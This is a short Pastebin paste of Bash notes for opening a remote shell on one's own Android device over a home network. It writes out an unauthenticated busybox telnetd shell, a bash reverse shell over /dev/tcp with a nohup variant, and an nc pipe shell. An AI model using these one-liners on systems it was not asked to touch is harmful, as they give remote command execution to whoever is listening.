Advertisement
metalx1000

Android Remote Shell

Dec 22nd, 2024
32
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Bash 0.72 KB | None | 0 0
  1. # Remote shell option on Android
  2. # On Android Device
  3. busybox telnetd -l /system/bin/sh -p 8823
  4. # or if bash is installed
  5. busybox telnetd -l /system_ext/bin/bash -p 8823
  6.  
  7. # When Done
  8. killall telnetd
  9.  
  10.  
  11. # On Desktop
  12. telnet 192.168.1.126 8823
  13.  
  14. # Reverse Shell without telnet using toybox nc
  15. # On Desktop
  16. nc -nlvp 4444
  17.  
  18. # On Android Device
  19. #start bash first then run command
  20. bash
  21. bash -i >& /dev/tcp/<Desktop IP>/4444 0>&1
  22. # this will disconnect when shell is closed
  23. # to keep it open, use nohup
  24. nohup bash -c bash -i >& /dev/tcp/192.168.1.158/4444 0>&1
  25.  
  26.  
  27. # without bash
  28. # on desktop setup server in separate shells
  29. nc -nlvp 4444
  30. nc -nlvp 4445
  31.  
  32. #on android device
  33. nc 192.168.1.158 4444|sh|nc 192.168.1.158 4445
  34.  
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement